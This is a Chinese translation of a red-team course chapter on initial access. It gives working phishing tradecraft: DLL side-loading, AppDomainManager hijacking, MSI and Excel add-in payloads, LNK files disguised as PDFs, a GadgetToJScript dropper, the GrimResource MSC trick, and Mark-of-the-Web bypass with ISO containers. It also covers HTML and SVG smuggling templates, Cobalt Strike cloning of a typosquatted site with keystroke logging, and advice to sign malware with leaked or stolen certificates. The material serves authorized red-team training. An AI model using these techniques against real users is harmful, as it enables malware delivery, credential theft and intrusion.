ZeroPoint Security red team ops I CRTO 5 Initial Access
5.1 Initial Access 初始访问
初始访问是指攻击者在目标网络中获取初始立足点的策略[ TA0001 ]。其技术包括利用面向公众的服务,例如 Web 服务器或远程访问门户;供应链入侵;但最常见的是通过社会工程攻击,例如网络钓鱼。在这种攻击中,攻击者通常通过电子邮件直接与一个或多个受害者沟通,诱骗他们执行特定操作或泄露敏感信息。本章将重点讨论如何设计和投放网络钓鱼攻击载荷。
https://attack.mitre.org/tactics/TA0001/
5.1.1 Phishing Taxonomy 网络钓鱼分类
Mariusz Banach 基于对攻击者行为的真实观察,提出了一种网络钓鱼有效载荷分类法。他将其表示为 DELIVERY(CONTAINER(TRIGGER + PAYLOAD + DECOY)) ,其中:
https://x.com/mariuszbit
Delivery 递送是指将包裹递送给受害者的技术
Container 容器是用于打包文件的容器格式。
Trigger 触发器是触发有效载荷执行的手段。
Payload 有效载荷是要执行的恶意代码。
Decoy 诱饵文件是用来向受害者展示的文件。
数字取证与事件响应 (DFIR) 供应商完成对安全漏洞的调查后,通常会公布与攻击者初始访问、命令与控制以及后渗透技术相关的调查结果。下图是由 CloudSEK 制作的 Lumma Stealer 恶意软件传播活动的思维导图。

攻击者诱骗受害者点击伪装成 PDF 文件的 Windows 快捷方式 (.lnk) 文件。这些 LNK 文件被恶意利用,通过 mshta 下载其他恶意内容,而 mshta 又会下载混淆的 JavaScript 代码。这段 JavaScript 代码会执行 PowerShell 命令,下载并解压恶意软件,将其隐藏在受感染的系统中并运行。整个攻击链的复杂性主要是为了增加安全解决方案自动检测的难度,并增加人工分析人员识别攻击的难度。
以前有人可以发送 report.exe 文件的日子早已一去不复返了……
本章将演示不同的交付方式、容器和有效载荷,您可以将它们混合搭配,以创建您自己的初始访问包。
5.2 Payloads 有效载荷
有效载荷和诱饵可以说是感染链中最关键的部分。有效载荷包含将在受害者计算机上运行的恶意代码;而诱饵则是您希望用户在与触发因素交互后看到的内容。诱饵可以很简单,例如图片、PDF、电子表格等等。关于诱饵,除了它们应该延续您的社会工程学伪装之外,并没有太多需要说明的地方。例如,如果您将触发因素伪装成 PDF 文件,那么诱饵也应该是 PDF 文档。
5.2.1 DLL side-loading DLL 侧加载
DLL 劫持是一种强制合法应用程序加载恶意 DLL 的技术。它利用 Windows DLL 搜索顺序漏洞,在应用程序尝试加载其依赖项时进行攻击。该加载顺序的简化视图如下:
应用程序所在的目录。
系统目录,通常为 C:\Windows\System32 。
16 位系统目录,通常为 C:\Windows\System 。
Windows 目录,通常为 C:\Windows
当前工作目录。
PATH 环境变量中列出的目录。
寻找这些劫持机会的常用方法是运行进程监视器 ,并设置一个筛选条件:
路径以 .dll 结尾。
结果是 “未找到名称” 。
https://learn.microsoft.com/en-us/sysinternals/downloads/procmon
这种劫持攻击可能发生的一种场景是,当应用程序试图加载系统中不存在的 DLL 文件时。攻击者可以将一个文件名正确的恶意 DLL 文件放置在搜索顺序中且普通用户可写入的位置。然后,当应用程序运行时,它会遍历搜索顺序,直到找到并加载该 DLL 文件。
查找内置于 Windows 操作系统中的易受攻击应用程序已不如以往常见,而 DLL 侧加载技术正弥补了这一不足。Windows 组件存储位于 C:\Windows\WinSxS 下。尽管如今它用途广泛,但其最初的作用仅限于支持并行程序集(因此得名 SxS)。“WinSxS 清单”描述了应用程序所需的依赖项及其版本。WinSxS 允许同一系统中存在同一依赖项的多个版本,从而降低了依赖于同一库不同版本的应用程序之间发生冲突的可能性。在 Windows 更新期间,这些依赖项的旧版本会存储在此目录中,因此即使应用程序已在主操作系统中修复,其易受攻击的版本仍可能存在于此目录中。
我们以 ngentask.exe 为例来看一下。如果我们运行当前安装在 C:\Windows\Microsoft.NET\Framework64 中的版本,我们可以看到,即使它正在查找一些找不到的 DLL 文件,它也只在其目录和全局程序集缓存 (GAC) 中进行搜索。

现在,让我们在 SxS 中查找一个旧版本的 ngentask:
PS C:\Users\Attacker> ls -Path C:\Windows\WinSxS -Recurse -Filter ngentask.exe | Select -expand FullName
C:\Windows\WinSxS\amd64_netfx4-ngentask_exe_b03f5f7f11d50a3a_4.0.15805.0_none_d4039dd5692796db\ngentask.exe
C:\Windows\WinSxS\amd64_netfx4-ngentask_exe_b03f5f7f11d50a3a_4.0.15805.285_none_cbd46ba524299690\ngentask.exe
C:\Windows\WinSxS\amd64_netfx4-ngentask_exe_b03f5f7f11d50a3a_4.0.15840.3_none_d3fea185692c10e1\ngentask.exe
C:\Windows\WinSxS\x86_netfx4-ngentask_exe_b03f5f7f11d50a3a_4.0.15805.0_none_1bb0d4ac7da3bfe1\ngentask.exe
C:\Windows\WinSxS\x86_netfx4-ngentask_exe_b03f5f7f11d50a3a_4.0.15805.285_none_1381a27c38a5bf96\ngentask.exe
C:\Windows\WinSxS\x86_netfx4-ngentask_exe_b03f5f7f11d50a3a_4.0.15840.3_none_1babd85c7da839e7\ngentask.exe
我们可以执行这些操作,并在 ProcMon 中观察 DLL 加载行为的差异。

我们可以看到,它正尝试按照标准搜索顺序加载 mscorsvc.dll 。最容易劫持的目录是当前工作目录,在本例中就是 C:\Users\Attacker 。如果我们把名为 mscorsvc.dll 的 DLL 文件放到这个目录下,然后再次运行这个版本的 ngentask,它就会加载该 DLL。你可以自己编写测试 DLL,也可以使用其他人已经发布的 DLL,例如 Ruben Boonen 发布的这个 。
https://x.com/FuzzySec
https://github.com/FuzzySecurity/DLL-Template

5.2.2 AppDomainManager 应用程序域管理器
还有一些方法可以强制 .NET 应用程序加载 DLL,而无需考虑搜索顺序。对于使用 .NET Core 3.1 或更高版本编写的应用程序,可以使用启动钩子 。本文将演示如何使用自定义的 AppDomainManager ,它适用于使用 .NET Framework 编写的应用程序。这需要我们编写一个继承自 AppDomainManager 的类,并将其编译为 .NET DLL。恶意代码可以放在类的构造函数中,也可以放在您可以重写的虚方法中。
https://rastamouse.me/net-startup-hooks/
https://learn.microsoft.com/en-us/dotnet/api/system.appdomainmanager?view=netframework-4.8.1
using System;
using System.Windows.Forms;
namespace AppDomainHijack;
public sealed class DomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
MessageBox.Show("Hello World", "Success");
}
}
这个 DLL 文件需要与我们要加载它的 .NET 应用程序位于同一目录下。Windows 系统默认安装了 100 多个 .NET 程序集,包括前面示例中使用的 NGenTask,我们可以直接将其复制到当前目录。
PS C:\Users\Attacker> cp C:\Windows\WinSxS\amd64_netfx4-ngentask_exe_b03f5f7f11d50a3a_4.0.15805.0_none_d4039dd5692796db\ngentask.exe ngentask.exe
PS C:\Users\Attacker> cp C:\Tools\AppDomainHijack\bin\Debug\AppDomainHijack.dll domainManager.dll
有两种方法可以让应用程序加载 DLL。第一种方法是通过两个名为 APPDOMAIN_MANAGER_ASM 和 APPDOMAIN_MANAGER_TYPE 的环境变量。
PS C:\Users\Attacker>$env:APPDOMAIN_MANAGER_ASM = 'AppDomainHijack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null'
PS C:\Users\Attacker>$env:APPDOMAIN_MANAGER_TYPE = 'AppDomainHijack.DomainManager'
类型名称和程序集名称必须完全限定。
变量设置完毕后,执行应用程序将加载 DLL 文件。

另一种方法是在 .config 文件中使用 appDomainManagerAssembly 和 appDomainManagerType 元素。文件名必须以应用程序名称为前缀,例如 ngentask.exe.config 。
<configuration>
<runtime>
<appDomainManagerAssembly value="AppDomainHijack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" />
<appDomainManagerType value="AppDomainHijack.DomainManager" />
</runtime>
</configuration>
5.2.3 Windows Installer
Windows Installer(简称 MSI)是微软创建的一种安装程序格式。它存储待安装的文件以及必要的安装步骤,因此也可以作为初始访问分类中的容器。可以使用 Visual Studio 和 Installer Projects 扩展创建 MSI。首先创建一个新的安装项目 。
https://visualstudio.microsoft.com/
https://marketplace.visualstudio.com/items?itemName=VisualStudioClient.MicrosoftVisualStudio2022InstallerProjects

这将创建一个新的空白安装程序项目。默认视图显示的是将打包到安装程序中的文件。下一步是添加有效载荷依赖项。这些依赖项的位置可以是应用程序目录(例如 Program Files)、用户桌面或开始菜单。在本例中,我们将有效载荷可执行文件放在应用程序目录中。右键单击所需的位置,选择 “添加文件” ,然后添加有效载荷,例如 C:\Payloads\http_x64.exe 。

您可以更改文件的几个属性,例如是否要在文件拖放到计算机上后隐藏它,以及它的新文件名。

接下来,我们需要添加一个操作,以确保有效负载在安装过程中执行。在解决方案资源管理器中右键单击项目,然后选择 “查看”>“自定义操作” 。

右键单击 “安装” 步骤,然后选择 “添加自定义操作” 。接着,在弹出的窗口中,选择应用程序文件夹,然后选择有效负载文件。

由于此有效载荷是 64 位的,请在操作属性中将 Run64Bit 设置为 True 。您还可以修改传递给有效载荷的命令行参数,使其看起来更合法。

您还可以修改项目属性,为安装程序添加公司名称、产品名称和目标平台等信息。这将更改诸如在“程序文件”中创建的目录名称以及在控制面板等位置显示的安装名称等内容。

项目构建完成后( 构建 > 构建解决方案 ),您将获得两个文件——一个 .exe 文件和一个 .msi 文件。EXE 文件只是一个运行 MSI 文件的包装程序,因此在分发给受害者时无需包含它。

5.2.4 Excel Add-In's Excel 加载项
*.xlam 文件是一个启用宏的 Excel 加载项,旨在为 Excel 添加自定义功能。典型的使用场景是将宏绑定到功能区上的按钮,从而提供执行常用任务的快捷方式。使用宏进行初始访问的主要挑战在于“受保护视图”——当打开包含 MotW(将在下一课中讨论)、作为电子邮件附件接收或从不受信任的位置打开的文件时,宏会被禁用。我们可以使用合适的容器(本章稍后会解释)来移除 MotW,也可以绕过受信任位置的问题。默认情况下,以下位置包含在信任中心:
%ProgramFiles%\Microsoft Office\root\Office16\Library\
%ProgramFiles%\Microsoft Office\root\Office16\STARTUP\
%ProgramFiles%\Microsoft Office\root\Office16\XLSTART\
%ProgramFiles%\Microsoft Office\root\Templates\
%APPDATA%\Microsoft\Excel\XLSTART\
%APPDATA%\Microsoft\Templates\
作为标准用户,我们无法写入任何 %ProgramFiles% 目录,但可以写入 %APPDATA% 目录。此外,Excel 会自动加载 XLSTART 目录中的所有工作簿、模板或加载项。
要创建 XLAM,请创建一个新的空白工作簿,然后使用 Alt + F11 打开 VB 编辑器。右键单击 VBAProject,然后选择 “插入模块” 。

然后将你的宏代码添加到新模块中。例如:
Private Sub Auto_Open()
MsgBox "Hello World", vbOKOnly, "pwned"
End Sub
关闭编辑器,转到 “文件”>“另存为” ,将工作簿另存为 Excel 加载项 (*.xlam) 文件。
选择加载项类型后,保存位置会自动切换到 C:\Users\Attacker\AppData\Roaming\Microsoft\AddIns 。我建议您将其保存到其他位置,例如 C:\Payloads 。
要进行测试,请将 XLAM 文件复制到 %APPDATA%\Microsoft\Excel\XLSTART 目录,然后关闭并重新打开 Excel。消息框应该会立即出现。

5.2.5 Code Signing 代码签名
代码签名在初始访问控制中至关重要,因为它是 SmartScreen 等技术信任模型的重要组成部分。与未签名的文件相比,经可信机构签名的文件产生的安全警报更少(甚至为零),而警报越少,受害者执行恶意代码的概率就越低。防病毒软件和端点检测与响应 (EDR) 产品也可能更倾向于使用已签名的文件。然而,这并非毫无争议,具体取决于代码签名证书的来源。
代码签名证书主要分为两种类型:“标准”证书和“EV”(扩展验证)证书。标准证书的作用仅限于为文件添加数字签名,旨在确保用户文件未被篡改。而 EV 证书则能使 SmartScreen 信任您的发布者身份,并彻底消除所有“未知发布者”警告。因此,EV 代码签名证书才是您的理想之选。

获得 EV 代码签名证书的官方方法是从 DigiCert 或 GlobalSign 等权威机构购买。虽然不同机构的具体要求可能有所不同,但它们通常都要求企业在获得证书前经过审核流程。对于合法企业来说,这通常不是问题,但对于个人和咨询顾问来说却常常是个障碍。然而,无论如何,你都不应该这样做。首先,你不应该使用你的“MyRedTeamCompany”证书来签署你的初始访问恶意软件,因为:a) 这对于受害者来说很容易被识破;b) 如果恶意软件被上传到 VirusTotal 之类的网站,你的证书很可能会被吊销。
争议就出在这里。如果公司无法购买证书,还有什么办法呢?一种方法是设立和维护空壳公司,但这需要耗费大量时间和精力。另一种方法是使用泄露或被盗的证书,这种方法快捷方便得多。例如,GitHub 提供了一个路径限定符,可以用来查找已提交到公共仓库的证书。你也可以搜索公共 S3 存储桶、游戏破解论坛和其他地方。
无论你在法律、伦理或道德层面持何种立场,如果初始访问权限是你参与行动的一部分,那么这种威胁就应该被纳入考量。攻击者正在他们的攻击活动中使用这种策略,因此防御者确实需要制定相应的应对策略。
5.3 Droppers 滴管
许多初始攻击活动并不直接将有效载荷打包到容器中,而是选择使用“投放器”。简而言之,投放器是一种能够投放另一个程序的程序。使用投放器的目的是为了绕过反病毒软件,并增加感染链分析的难度。大多数投放器通过从自身镜像中提取嵌入式资源,或者通过 HTTP(S)或 DNS 等协议下载这些资源来实现这一目的。
本课程将演示如何使用 GadgetToJScript 从 .NET 程序集中创建 JavaScript 插件。首先在 Visual Studio 中创建一个新的 .NET Framework 类库项目。
https://github.com/med0x2e/GadgetToJScript

请务必选择 .NET Framework 版本,而不是 .NET Core 版本。
项目将创建一个空的 Class1.cs 文件。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace MyDropper
{
public class Class1
{
}
}
首先,将 Class.cs 重命名为 Dropper.cs (不是必须的,但这样做挺好的)。
然后,在解决方案资源管理器中右键单击项目,然后选择 “添加现有项” 。选择要嵌入到投放器中的有效负载文件,例如 http_x64.exe ,然后在其属性中,将“ 生成操作” 更改为 “嵌入资源” 。

为了使 G2JS 正常工作,所有 C# 代码都必须放在类构造函数中,因为反序列化过程中会执行这些代码。我们首先调用 GetManifestResourceStream 从程序集中读取嵌入的资源。
https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.getmanifestresourcestream?view=netframework-4.7.2
using System.Reflection;
namespace MyDropper
{
public class Dropper
{
public Dropper()
{
// use reflection to get reference to own assembly
var assembly = Assembly.GetExecutingAssembly();
// read embedded payload
using (var rs = assembly.GetManifestResourceStream("MyDropper.http_x64.exe"))
{
// do something
}
}
}
}
资源名称必须以项目命名空间为前缀。
读取恶意代码后,可以将其保存到磁盘上的某个位置。虽然这样做很诱人,但从用户主目录或临时目录等位置执行恶意代码通常不是明智之举。我们应该坚持使用标准位置,例如:
C:\Program Files\*
C:\Program Files (x86)\*
C:\ProgramData\*
C:\Windows\*
这些位置中,只有 ProgramData 目录对标准用户可写。我们创建一个新目录,并将有效载荷放入其中。
using (var rs = assembly.GetManifestResourceStream("MyDropper.http_x64.exe"))
{
// get path to ProgramData
var path = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData);
// construct new path with our dir name
var newPath = Path.Combine(path, "MyLegitApp");
// create new directory inside ProgramData
var newDir = Directory.CreateDirectory(newPath);
// construct path for the executable
var filePath = Path.Combine(newDir.FullName, "MyApp.exe");
// drop the path to disk
using (var fs = File.Create(filePath))
{
// copy resource stream into file stream
rs.CopyTo(fs);
// close file
rs.Close();
}
}
投放器还可以在将有效载荷写入磁盘后执行该有效载荷。
// execute it
Process.Start(filePath);
构建项目后会生成 MyDropper.dll 。下一步是使用 GadgetToJScript 对其进行序列化。
PS C:\Users\Attacker> C:\Tools\GadgetToJScript\GadgetToJScript\bin\Release\GadgetToJScript.exe -a C:\Users\Attacker\source\repos\MyDropper\bin\Release\MyDropper.dll -w js -b -o C:\Payloads\dropper
[+]: Generating the js payload
[+]: First stage gadget generation done.
[+]: Loading your .NET assembly:C:\Users\Attacker\source\repos\MyDropper\bin\Release\MyDropper.dll
[+]: Second stage gadget generation done.
[*]: Payload generation completed, check: C:\Payloads\dropper.js
Where: 在哪里:
-w 指定要输出的脚本类型。有效选项包括 js、vbs、vba 和 hta。
-b 会绕过 .NET Framework 4.8+ 中引入的类型检查控件。
-o 是输出路径(不包括文件扩展名)。
这将生成一个 JavaScript 放置器,可以使用 wscript 执行,也可以通过双击执行(假设 wscript 设置为此文件扩展名的默认文件处理程序)

如果我们把这个投放器也打包到一个容器里,就能得到一个类似这样的链: ISO = > LNK = > JS = > .NET DLL = > EXE 。使用可执行文件虽然只是个略显普通的例子,但现实中的攻击者确实会利用这一点。你还可以使用投放器投放有效载荷 DLL,从而利用更复杂的 DLL 或 COM 劫持,甚至执行 shellcode 注入。
5.4 Triggers 触发器
触发器是用户在解压容器后需要交互的文件。通常情况下,您希望这个过程尽可能“简单”,例如只需双击即可。
5.4.1 Batch 批处理
批处理文件是一种用于 Windows 系统脚本编写的文本文件格式。它们包含一系列命令,这些命令会由命令行解释器(Windows 默认的命令行解释器是 cmd.exe )按顺序执行。批处理文件的扩展名可以是 .bat 、 .cmd 或 .btm 。执行批处理文件时,会打开一个命令提示符窗口,并打印出每个命令及其输出(如果有),就像手动输入一样。我们通常不希望用户看到这些命令,因此一种解决方法是将 @echo 指令设置为 off 。这将阻止所有命令显示给用户,但不会阻止显示其输出。如果某个命令确实会产生输出,并且您不希望用户看到它,请在命令末尾添加 > nul 2>&1 。
一个非常简单的蝙蝠模型可能看起来像这样:
@echo off
start payload.exe
start decoy.pdf
exit
最近发现的一个技巧可以让 BAT 文件根据其运行方式(双击运行或从命令行运行)而改变行为。这是通过检查两个 shell 变量的内容来实现的:
https://x.com/vmray/status/1808903062926315690
%cmdcmdline% - 包含被调用的原始命令行。
%~f0 - 包含 BAT 文件的完整路径。
双击批处理脚本时, cmdcmdline 将包含类似 C:\Windows\system32\cmd.exe /c ""C:\Users\Daniel\Desktop\test.bat"" 值,而 ~f0 将包含 C:\Users\Daniel\Desktop\test.bat 。相反,当从手动打开的命令提示符运行时,cmdcmdline 将仅包含 C:\Windows\System32\cmd.exe 。
该操作本质上是将 cmdcmdline 的内容传递给管道,以检查批处理文件的路径是否存在。如果不存在,则假定脚本是从命令行运行的,并将执行流程导向退出调用。否则,脚本将继续执行。您可以双击并从命令行运行此示例。
@echo off
echo %cmdcmdline% | find /i "%~f0" || exit
calc
exit
由于脚本是以程序方式运行,而不是由用户交互式运行,因此可以绕过自动防病毒和沙箱分析。
5.4.2 Shell Link
Shell 链接是一种用于创建 Windows 快捷方式的二进制文件格式。它们的扩展名为 .lnk ,特殊之处在于即使启用了“显示文件扩展名”,资源管理器中也不会显示该扩展名。这使得它们的文件名可以像 report.pdf.lnk 一样,而用户只会看到 report.pdf 。链接文件还可以自定义图标,例如,它们可以链接到 cmd.exe,但图标却是 PDF 文件。这些特性使它们成为最具迷惑性的触发器之一。
创建链接最简单的方法是通过 PowerShell 使用 WScript.Shell COM 对象。
$wsh = New-Object -ComObject WScript.Shell
$lnk = $wsh.CreateShortcut("C:\Payloads\trigger.pdf.lnk")
$lnk.TargetPath = "%COMSPEC%"
$lnk.Arguments = "/C start payload.exe && start decoy.pdf"
$lnk.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13"
$lnk.Save()

您还可以将 ICO 文件作为依赖项存储在容器中,并使用该文件代替现有应用程序中内置的文件。
如果使用 Excel 加载项有效载荷,则快捷方式的参数应在打开诱饵电子表格以触发执行之前,将 XLAM 文件复制到用户的 XLSTART 目录。
$lnk.Arguments = "/C xcopy /H macros.xlam %APPDATA%\Microsoft\Excel\XLSTART\ && attrib -H %APPDATA%\Microsoft\Excel\XLSTART\macros.xlam && start sales.xlsx"
$lnk.IconLocation = "%ProgramFiles%\Microsoft Office\root\Office16\EXCEL.EXE,0"
$lnk.Save()
5.4.3 Microsoft Saved Console Microsoft 保存的控制台
Elastic 发现了一种名为“GrimResource”的技术,它利用精心构造的 .msc (Microsoft 保存的控制台)文件和一个未修复的 XSS 漏洞,通过 Microsoft 管理控制台 (mmc.exe) 触发 JavaScript 代码执行。示例 MSC 文件可在此处找到。恶意代码位于第 105 行 ,这是一段封装在样式表中的 VBScript 代码,并经过 URL 编码。
https://www.elastic.co/security-labs/grimresource
https://gist.github.com/joe-desimone/2b0bbee382c9bdfcac53f2349a379fa4
https://gist.github.com/joe-desimone/2b0bbee382c9bdfcac53f2349a379fa4/961d997c169e4315c2eb0cc6a1af795dd685c550#file-grimresource-msc-L105
我们可以利用类似的有效载荷来启动 cmd.exe:
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="VBScript">
<![CDATA[
Set wshshell = CreateObject("WScript.Shell")
wshshell.run "C:\\Windows\\System32\\cmd.exe"
]]></ms:script>
</stylesheet>
xsl.loadXML(unescape("<ENCODED SCRIPT HERE>"))
双击 MSC 文件将启动 mmc.exe 实例,该实例进而会启动 cmd.exe。此方法的一个优点是 MMC 是一个自动提升权限的二进制文件,因此如果用户是本地管理员,系统会提示其完成 UAC 确认,并且有效载荷将以高完整性模式运行。

还有一些自动化工具可以帮助生成基本的 MSC 有效载荷,例如 MSC_Dropper 。
https://github.com/ZERODETECTION/MSC_Dropper
5.5 Containers 容器
5.5.1 Mark of the Web 网页标记
网络标记 (Mark of the Web,简称 MotW) 是一种区域标识符,用于将从互联网下载的文件标记为潜在不安全文件。可以通过在资源管理器中查看文件属性或使用 PowerShell 来查看此标记。

PS C:\Users\Attacker\Downloads> Get-Content -Stream Zone.Identifier .\test.pdf
[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://s28.q4cdn.com/392171258/files/doc_downloads/test.pdf
HostUrl=https://s28.q4cdn.com/392171258/files/doc_downloads/test.pdf
在网络钓鱼活动中,MotW 会带来麻烦,因为当用户尝试打开或运行包含 MotW 的文件时,Windows 可能会弹出额外的安全警告。某些文件(例如 Office 文档)如果存在 MotW,则无法启用宏。
容器提供了一种将依赖项(触发器、有效载荷和诱饵)打包到单个文件中的方法。这简化了向受害者发送多个文件的过程,并且可以增加一定程度的混淆(例如,如果它们可以设置密码保护)。ISO/IMG、ZIP 和 WIM 格式是可靠的选择,因为它们原生受 Windows 支持。您也可以选择 7z、Gz 或 WinRAR 之类的格式,但受害者可能没有所需的软件来打开它们。您可以手动打包文件,也可以使用 mgeeky 的 PackMyPayload 等工具。某些容器格式支持隐藏文件,而某些则不支持 MotW 传播。Nobutaka Mantani 的这个仓库包含 MotW 传播方式的比较。
https://github.com/mgeeky/PackMyPayload
https://x.com/nmantani
https://github.com/nmantani/archiver-MOTW-support-comparison
例如,我可以将上述 PDF 可执行文件打包到 ISO 文件中。
attacker@DESKTOP-FGSTPS7:/mnt/c/Users/Attacker/Downloads$ /mnt/c/Tools/PackMyPayload/PackMyPayload.py test.pdf test.iso
[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /test.pdf
[+] File packed into ISO.
[+] Generated file written to (size: 65536): test.iso
然后我们可以将其托管在 Python Web 服务器上进行测试。
attacker@DESKTOP-FGSTPS7:/mnt/c/Users/Attacker/Downloads$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)
然后通过 PowerShell 将其下载下来。
PS C:\Users\Attacker\Downloads> iwr -Uri http://localhost:8000/test.iso -OutFile test2.iso
然后,当它被挂载时,我们可以看到 MotW 不再应用于 PDF。

PackMyPayload 还提供了一个选项,可以在将文件打包到容器中时设置文件的隐藏属性。这在需要隐藏诱饵和有效载荷等文件,以便用户只能看到触发器的情况下非常有用。
例如,如果我们有三个文件:触发器、有效载荷和诱饵:
$ ls -l /mnt/c/Payloads/xlam
-rwxrwxrwx 1 rasta rasta 11607 Jun 27 13:55 decoy.xlsx
-rwxrwxrwx 1 rasta rasta 12906 Jun 27 13:55 payload.xlam
-rwxrwxrwx 1 rasta rasta 2094 Jun 28 13:55 trigger.xls.lnk
我们可以使用 -H 参数将它们打包到一个 IMG 文件中,同时隐藏 decoy.xlsx 和 payload.xlam 。
$ python3 PackMyPayload.py -H decoy.xlsx,payload.xlam /mnt/c/Payloads/xlam /mnt/c/Payloads/xlam/package.img
5.6 Delivery 送货
传播是指诱使受害者下载初始访问包的方法。过去,只需发送链接或附件即可,但随着防御手段的日益强大,这些策略已不再奏效。企业在安全支出方面往往过于注重前端,即在边界防御上投入更多资金。常见的做法是部署多层边界安全措施,例如防火墙、邮件网关和网络代理,您的包裹必须通过这些层层防御才能成功送达。
5.6.1 HTML Smuggling HTML 走私
HTML 走私是一种利用现代 HTML5 和 JavaScript 特性绕过传统内容过滤器来偷偷传输文件的手段。在传统的钓鱼邮件中,你可能会看到一个带有简单 HREF 链接的按钮。文件本身会位于网站根目录下的某个位置,例如 /var/www/html/report.zip 。当用户点击该按钮时,浏览器会发出另一个 HTTP GET 请求来获取该文件。在文件下载过程中,扫描程序可以从 HTTP 响应中获取文件内容。
HTML 走私的工作原理是将文件编码到 HTML 内容本身,然后使用 JavaScript 解码并将其下载到受害者的计算机上。这是一个基于 Stan Hegt 作品的简单模板。
https://x.com/stanhacked
<html>
<head>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/brands.min.css">
</head>
<body>
<button class="btn" onclick="downloadFile()"><i class="fa fa-download"></i> Download</button>
<script>
function convertFromBase64(base64) {
let binary_string = window.atob(base64);
let len = binary_string.length;
let bytes = new Uint8Array(len);
for (let i = 0; i < len; i++) {
bytes[i] = binary_string.charCodeAt(i);
}
return bytes.buffer;
}
function downloadFile() {
const file = 'VGhpcyBpcyBhIHNtdWdnbGVkIGZpbGU=';
const fileName = 'test.txt';
let data = convertFromBase64(file);
let blob = new Blob([data], {type: 'octet/stream'});
if (window.navigator.msSaveOrOpenBlob) {
window.navigator.msSaveBlob(blob,fileName);
}
else {
const a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
const url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
}
}
</script>
</body>
</html>
在这个例子中,文件内容经过 Base64 编码并存储在 file 变量中——这意味着当受害者加载页面时,文件内容已经存在于他们的浏览器中。当按钮被点击时,会执行 downloadFile JavaScript 函数,该函数会将文件解码回原始格式,构建一个新的 href 链接,并自动调用它。然后,浏览器会将文件保存到用户的默认下载目录中。从网关或代理的角度来看,他们只会看到 HTML 和 JavaScript 代码。即使传输的是二进制文件,也不会产生使用 application/octet-stream MIME 类型的流量,而使用传统下载方式时,他们会看到这种流量。文件经过 Base64 编码只是一个简单的例子,但我们并不需要止步于此。例如,我们可以使用 Web Crypto API 对文件内容进行 AES 加密,并对 JavaScript 代码进行混淆处理 。
https://developer.mozilla.org/en-US/docs/Web/API/Web_Crypto_API
https://javascriptobfuscator.com/Javascript-Obfuscator.aspx
5.6.2 SVG Smuggling SVG走私
这与 HTML 走私技术类似,但它使用的是 SVG 格式。SVG(可缩放矢量图形)是一种基于 XML 的矢量图像格式,用于定义二维图形和动画。一个非常简单的 SVG 可以这样定义:
<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="40" stroke="black" stroke-width="4" fill="none" />
Sorry, your browser does not support inline SVG.
</svg>
令人惊讶的是,SVG 允许嵌入 JavaScript。
<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="40" stroke="black" stroke-width="4" fill="none" />
<script>
alert('Hello World');
</script>
Sorry, your browser does not support inline SVG.
</svg>
SVG 可以嵌入到 HTML 中,也可以保存为独立文件。这使得 .svg 文件格式可以用作有效载荷容器,因为如果浏览器(例如 Edge)是此扩展名的默认文件处理程序,则 JavaScript 代码将被触发。
5.6.3 Cobalt Strike Site Clone CS站点克隆
上述技术通常要求红队在独立 Web 服务器(例如运行 Apache 或 Nginx)上搭建一个看似合法的网站,然后手动在一个或多个页面上植入恶意代码。Cobalt Strike 也具备类似的“路过式攻击”功能,但它并不使用恶意代码植入。它可以克隆一个合法网站,然后嵌入一个 URL,目标浏览器会自动下载该 URL,而无需用户点击页面上的任何内容。
在这个例子中,我将克隆 https://www.bleepingcomputer.com/download/gpu-z/ ,它看起来大致如下:

我们希望用户访问一个类似这样的页面,但同时也要让页面自动下载我们的初始访问包到他们的电脑上。
5.6.3.1 Host File 主机文件
首先要做的是将要下载的文件托管到 Cobalt Strike 的内部 Web 服务器上,通过站点管理 > 主机文件 。
该文件是要上传的原始文件。这是您的初始访问包(尽管在本例中我只是使用了一个原始的可执行有效载荷)。
本地 URI 是 Cobalt Strike 的 Web 服务器提供此文件的 URI。我使用的是 /dl/windows/utilities/system-information/g/gpu-z/GPU-Z.2.22.0.exe 。
本地主机设置托管文件的 URL。默认情况下,它是团队服务器的公网 IP 地址,但我们使用的是类似域名。显然,此域名需要指向团队服务器的公网 IP 地址(或者指向可以将 HTTP 请求重定向到团队服务器的重定向器)。
本地端口定义了文件将托管的端口。
MIME 类型设置 Cobalt Strike 内置 Web 服务器将使用的内容类型来提供文件。将其设置为自动将允许
托管完成后,它将出现在站点管理器( 站点管理 > 管理 )中。

选中该行并单击 “复制 URL” 按钮,即可将 URL 复制到剪贴板。在本例中,URL 为 http://www.bleepincomputer.com:80/dl/windows/utilities/system-information/g/gpu-z/GPU-Z.2.22.0.exe
5.6.3.2 Clone Site 克隆站点
下一步是创建站点克隆并将上述文件嵌入其中( 管理 > 克隆站点 )

克隆 URL 是我们想要克隆的确切页面。我们要克隆的页面是 https://www.bleepingcomputer.com/download/gpu-z/
本地 URI 是团队服务器将托管此克隆页面的 URI。我们通常希望它与我们要克隆的页面的 URI 相匹配。
本地主机和端口如上所示。
“攻击” 是您想要嵌入到克隆页面中的资源。使用“ ...” 按钮选择托管在 Cobalt Strike 团队服务器上的任何资源。
记录按键操作会将克隆网站上的所有按键操作发送到 Cobalt Strike 的 Web 日志。例如,如果克隆页面包含登录表单,这将非常有用。
克隆完成后,您将获得另一个 URL,它是本地主机、本地端口和本地 URI 的连接: http://www.bleepincomputer.com:80/ download/gpu-z/ 。
